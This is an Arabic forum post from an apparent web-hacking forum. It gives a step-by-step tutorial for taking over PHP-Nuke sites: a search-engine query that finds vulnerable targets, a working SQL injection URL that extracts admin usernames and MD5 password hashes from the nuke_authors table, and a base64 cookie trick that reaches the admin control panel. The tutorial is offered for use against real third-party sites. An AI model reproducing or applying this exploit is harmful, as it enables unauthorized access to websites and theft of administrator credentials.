![]() |
![]() |
![]() |
#1
|
||||||||
|
||||||||
شرح اختراق مجلة نيوك والسيطرة عليها
بسم الله الرحمن الرحيم
اختراق مجله nuke طبع الثغره قديمه وفعاله الى الان الثغره من نوع sql-injection في هذا المره مش راح نشفر وطبعا بستطاعتك التشفير والحصول على الباس ولاكن احنا راح نقوم بتحويل اسم المستخدم والباس المشفر الى base64 ومن ثم الحصول على تصريح لدخول الى لوحه التحكم الدمن يالله نبدأ الرجاء الحار متابعه الصور جيدا وعدم وضع اسئله سخيفه طريقه البحث قوقلي اكتب الكود الاتي كود: كود بلغة HTML:
in url :"modules.php?name=Web_Links" الصوره الاولى هنا قمت بوضع الكود الاتي والحصول على اسم المستخدم الي هو الادمن رقم واحد كود بلغة HTML:
modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20F ROM%20nuke_authors%20-- \\logins هنا نقوم بتحويل الاسم والباس الى base64 وتستطيع عمل ذالك على اي موقع توجد به هذه الخدمه او اي برنامج username:md5 الصوره الرابعه هنا قمت بأضافه الكود الناتج الي هوbase64 بعد الوصله و admin.php?admin=base64 وسوف تكون في قلب لوحه التحكم ان شاء الله طبعا هنا موقع اخر لانو الاول في مشكله في لوحه التحكم |
![]() |
|||||
المواضيع | المنتدى | اخر مشاركة | عدد الردود | عدد المشاهدات | تاريخ اخر مشاركة |
![]() |
منتدى البرامج الكاملة الجديدة وشرح البرامج والدروس | 3 | 1940 | 18/05/2008 05:42 PM | |
![]() |
منتدى حماية المواقع | 2 | 1701 | 20/10/2007 04:34 AM | |
![]() |
منتدى حماية المواقع | 3 | 1787 | 20/10/2007 04:33 AM | |
![]() |
منتدى حماية المواقع | 3 | 1721 | 20/10/2007 04:31 AM | |
![]() |
منتدى حماية المواقع | 1 | 1628 | 20/10/2007 04:27 AM |
![]() |
مواقع النشر (المفضلة) |
الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1) | |
![]() |
|
لا يوجد أعضاء |
|
|
![]() الإعلانات النصية ( أصدقاء الأكاديمية ) |
|||||
![]() |
![]() |
![]() |
![]() |
![]() |